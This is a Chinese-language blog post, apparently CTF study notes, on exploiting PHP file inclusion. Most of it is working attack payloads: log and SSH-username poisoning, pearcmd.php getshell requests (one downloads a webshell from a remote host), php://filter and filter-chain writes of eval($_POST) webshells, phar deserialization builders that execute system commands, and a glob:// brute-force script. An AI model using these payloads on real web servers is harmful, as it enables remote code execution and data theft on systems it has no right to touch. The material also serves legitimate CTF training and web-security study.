php文件包含

Last updated on September 27, 2024 am

一个php文件包含另一个php文件,可以提升代码的复用性。

若包含不当会导致安全漏洞。

php常见的文件包含函数

1
2
3
4
include 'a.php'
include_once 'a.php' #只包含一次
require 'a.php'
require_once 'a.php' #只包含一次

require 包含文件遇到错误时,程序就不会继续往下执行了。

include包含文件遇到错误时,程序还可以继续往下执行。读到不存在的目录仍然能路径穿越,1?/../../flag

文件包含会先将文件的内容读出来,如果包含的文件内容是php代码则会解析成php,如果不是则原样输出,和文件的后缀名无关。

php本地文件包含

直接指定服务器的文件进行包含

无限制

1
2
3
<?php
include($_GET['file']);
?>

可以通过绝对路径或者伪协议进行文件包含

前面限制

1
2
3
<?php
include('/var/www/html'.$_GET['file']);
>?

只能利用路径穿越进行文件包含

利用/etc/passwd进行测试,有回显说明是无限制,无回显说明有限制,可以用../../etc/passwd进行路径穿越,确定根目录

有一道远程文件包含限制前缀为https://www\.php\.net,(HCERT CTF)

1
2
3
4
5
6
7
8
9
10
<?php 
if(isset($_GET['url']) && preg_match('@^https://www\.php\.net/@',$_GET['url'])){
$tmp = tmpfile();
fwrite($tmp, file_get_contents($_GET['url']));
@include_once(stream_get_meta_data($tmp)['uri']);
fclose($tmp);
}else{
show_source(__FILE__);
}
?>

利用payload:?f=flag.php&url=https://www.php.net/cached.php?f=cached.php(包含cached.php这个文件后进行文件读取)

后面限制

限制后缀名

可以使用伪协议中的php://filter、phar://、zip://来进行rce

php get-shell方式

思路:将php代码植入主机中,再使php代码得到解析

1.利用文件上传

上传php代码,例如

1
2
3
<?php
phpinfo();
?>

2.利用中间件日志文件

例如当请求

1
http://127.0.0.1:8080/1.php?file=<?php phpinfo();?>

这个请求会保存在日志中,通过文件包含日志文件,则可解析植入的php代码

3.ssh日志文件包含

利用ssh协议去连接主机,例如

1
ssh '<?php phpinfo();?>'@host

代码将被当成用户名保存在/var/log/auth.log中,利用文件包含即可

pearcmd.php

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

利用条件:存在pearcmd.php,可以利用文件包含测试。

1.写文件getshell poc

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

再访问/tmp/hello.php

2.下载文件 poc

1
&&+download+http://ip:port/shell.php

将木马写好放在vps上,再利用pearcmd.php将文件下载到靶机getshell。

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

文件包含被限制后缀时可以尝试pearcmd

1
include($file.".php");

条件:

  • 安装了pear
  • 开启了register_argc_argv

用bp发包,get 需要用短标签

1
file=pearcmd&+config-create+/<?=eval($_POST[1]);?>+/var/www/html/evil.php

访问/evil.php

register_argc_argv与include to RCE的巧妙组合

php远程文件包含

需要php.ini中配置allow_url_include=On

利用协议远程包含文件

被包含的文件需要放在有公网ip的主机上

可用的协议有HTTP、FTP、SMB、Webdav

漏洞攻击伪协议利用方法

可以利用伪协议的函数:include(),file_get_contens(),highlight_file(),file_exists()

file://

file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响

1
2
3
4
5
<?php
if(isset($_GET['page']))
{
include $_GET['page'];
}?>

file:// [文件的绝对路径和文件名]

example:http://localhost:37917/?page=file:///var/www/html/phpinfo.php

php://input

需要allow_url_include=On

对于HTTP请求中Content-Type:multipart/form-data是无效的

php://input是PHP的输入流,获取POST的所有数据(把要传的数据写在post中)

data://

allow_url_include=On

传入数据的协议

1
2
data://text/plain,要传入的数据
data://text/plain;base64,要传入的数据ba64编码

php://filter

需要开启allow_url_fopen

对读到的文件内容进行处理

常见的过滤器

1
2
3
4
5
6
7
php://filter/read=convert.base64-encode/resource=index.php #base64编码
php://filter/read=string.rot13/resource=index.php #rot13编码
php://filter/string.strip_tags/resource=index.php #从字符串中去除HTML和PHP标记
php://filter/string.toupper/resource=index.php #全部转大写
php://filter/read=string.tolower/resource=index.php #全部转小写
php://filter/read=convert.quoted-printable-encode/resource=index.php #将字符串转化为8bit字符串
php://filter/convert.iconv.utf-8.utf-7/resource=index.php #对字符从utf-8到utf-7转换

除了用php:filter来读取文件还可以用来写入文件

以明文方式写入

1
php://filter/resource=test.txt&txt=helloworld

编码写入

1
php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld

base64解码特点

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

可以使用 php://filter/write=convert.base64-decode 来先解码去除base64中没有的字符,在编码得到新的字符。

死亡exit绕过

1
2
3
4
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

写入的语句在执行前先执行了exit退出了。

base64

通过php://filter的base64-decode来绕过

1
2
filename=php://filter/write=convert.base64-decode/resource=shell.php
txt=aPD9waHAgZXZhbCgkX1BPU1RbMTFdKTs/Pg== //<?php eval($_POST[11]);?>

前面加一个a的原因:phpexit共7个字符,base64算法解码时是4个byte一组,所以给他增加1个a一共8个字符。phpexita被正常解码,后面传入的websehll也能够正常解码。

rot13
1
2
filename=php://filter/convert.string.rot13/resource=shell.php
txt=<?cuc cucvasb();?>
相邻两位反转
1
http://122.114.254.128:28049/?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php&contents=?<hp pe@av(l_$OPTS1[32]4;)>?
1
2
3
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[1234]);?>');
//?<hp pe@av(l_$OPTS1[32]4;)>?

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://xiaolong22333.top/archives/114/

filterchain绕过

(本地文件包含)无需可控文件

原理

  • 利用本地已有的固定文件内容

  • convert.iconv 将数据从字符集 A 转换为字符集 B

  • 基于PHP Base64 Filter 宽松的解析,通过编码再解码去除多余的不可见字符构造webshell

字符转换例子

1
2
3
4
5
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
#输入的是,some<>text
#转换后变成some+ADwAPg-text

利用base64去除不可见字符例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "/resource=data://,aaaaaaaaaaaaaa"; //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));
?>
// hexdump:
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 1b 24 29 43 |string(18) ".$)C|
// 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 22 0a |aaaaaaaaaaaaaa".|
C前面有一些不可见字符
<?php
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url.="|convert.base64-decode|convert.base64-encode"; #利用base64解码去除不可见字符再编码回到原来的字符
$url .= "/resource=data://,aaaaaaaaaaaaaa"; //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

利用https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT/tree/main 来生成字母对应的字符编码(与要用的本地文件内容无关)

使用方法(linux系统)

在test.py中修改要写入的命令的base64编码(注意:base64编码后不能含有+ / =等,有的话可以通过加空格或者后面补一些垃圾字符来消除)

运行test.py,将结果中resource=后面的内容换成本地文件,如果不能文件内容是中文,需要先用php://filter/convert.base64-encode/resource= 进行转换,相当于两次php://filter

https://github.com/synacktiv/php_filter_chain_generator 这个工具就直接一把梭(base64所有字符都支持)

1
python3 php_filter_chain_generator.py --chain "<?php eval($_POST[1]);?>"

https://tttang.com/archive/1395/#toc_php-base64-filter

https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkjQKD5%3DfFOWeD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-16

受php filter链影响的函数(都要通过post传参才可)

Function Pattern
*file_get_contents* file_get_contents($_POST[0]);
*readfile* readfile($_POST[0]);
*finfo->file* $file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME);
*getimagesize* getimagesize($_POST[0]);
*md5_file* md5_file($_POST[0]);
*sha1_file* sha1_file($_POST[0]);
*hash_file* hash_file('md5', $_POST[0]);
*file* file($_POST[0]);
*parse_ini_file* parse_ini_file($_POST[0]);
*copy* copy($_POST[0], '/tmp/test');
*file_put_contents (only target read only with this)* file_put_contents($_POST[0], "");
*stream_get_contents* $file = fopen($_POST[0], "r"); stream_get_contents($file);
*fgets* $file = fopen($_POST[0], "r"); fgets($file);
*fread* $file = fopen($_POST[0], "r"); fread($file, 10000);
*fgetc* $file = fopen($_POST[0], "r"); fgetc($file);
*fgetcsv* $file = fopen($_POST[0], "r"); fgetcsv($file, 1000, ",");
*fpassthru* $file = fopen($_POST[0], "r"); fpassthru($file);
*fputs* $file = fopen($_POST[0], "rw"); fputs($file, 0);

phar://

1
phar://压缩文件绝对路径/压缩文件内的子文件名

例如

1
phar:///tmp/a.zip/1.php

/tmp/a.zip表示要解析的压缩包,与扩展名无关,可以是/tmp/a.jpg

文件操作函数都会触发phar反序列化

phar结合文件上传进行反序列利用

(要将php.ini中的phar.readonly选项设置为Off才能生成phar文件)

基础操作

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class story
{
public $eating = 'cat /f*';
public $God = 'true';
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$o = new story();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

会将内容写到1.phar中

加GIF89a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //phar协议是通过这个来判断是不是phar文件
$phar -> addFromString('test.txt','test');
$object = new Flag();
$object -> code= "system('cat /ffflllaaaggg');";
$phar -> setMetadata($object);
$phar -> stopBuffering();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Flag
{
public $cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$o = new Flag();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("gzip 1.phar"); //压缩文件
rename("1.phar.gz", "1.jpg");
1
phar://1.jpg

phar重签名

如果修改了.phar里面的内容则需要对phar进行重签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# phar重签名
from hashlib import sha1
import urllib.parse

with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f) #需要以url编码后才能传输
print(ff)

过滤

  1. 不能是phar开头
1
2
3
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
die();
}
1
2
3
php://filter/read=convert.base64-encode/resource=phar://test.phar
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
  1. 过滤__HALT_COMPILER

进行压缩就可以绕过__HALT_COMPILER

zip://

1
zip://压缩文件绝对路径#压缩文件内的子文件名

压缩文件要用绝对路径,#要url编码%23,同样与压缩包的扩展名无关

本地文件包含需要能进行文件上传,压缩包需要先上传到主机

glob://

1
2
3
4
5
6
7
<?php
$file = $_GET['file'];
$a = new DirectoryIterator($file); //DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

DirectoryIterator与glob://结合将无视open_basedir(这个是限制php脚本能够访问的文件路径)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string
import time
import re
url = "http://172.10.0.5"

r = ""
for j in range(40):
for i in string.printable:
# print(i)
if i in "*+[]?":
continue
payload = "glob://" + r + i + "*"
data = {"filename":payload}
res = requests.post(url=url, data=data)
if "yesyesyes" in res.text:
r += i
print(r)
break

print(r)

本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/07/07/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!